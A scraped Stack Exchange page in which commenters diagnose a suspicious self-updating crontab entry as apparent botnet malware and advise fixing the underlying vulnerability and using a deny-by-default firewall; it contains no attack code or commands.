This (not limiting to just TCP and UDP, though), always. A.k.a. positive security model, whitelist or deny-by-default — deny all traffic that you don't explicitly use or need — the only way to ensure none of your holes are exposed to penetration.
– antichris
Oct 16 at 13:27
add a comment
|
Thanks for contributing an answer to Unix & Linux Stack Exchange!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f544811%2fsuspicious-crontab-entry-running-xribfa4-every-15-minutes%23new-answer', 'question_page');
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
16
It’s circular. Every 15 minutes it downloads and installs a fresh copy of itself. If/when the copy on the remote server is changed, all servers running this cronjob will execute whatever the new code is, within 15 minutes.
– Wildcard
Oct 2 at 17:50
5
Is your raspberry pi open to the internet? What is your raspberry pi running? This is the only result on google when I search for xribfa4. If you are not running software that needs to do this then this is likely a virus.
– kemotep
Oct 2 at 18:18
6
@kemotep that string is random, but google for the IP and it gives a few results. Something about a ddg mining botnet
– frostschutz
Oct 2 at 18:49
9
I found it. Its crazy that the IP is registered to an Indonesian Government site. Also looks like there is nearly 2000 other ips delivering this payload.
– kemotep
Oct 2 at 19:20
21
The main thing you must be aware of is that even if you remove that crontab entry, your system most likely still has the vulnerability that allowed it to be infected. You need to find and fix that vulnerability.
– Hans-Martin Mosner
Oct 2 at 21:15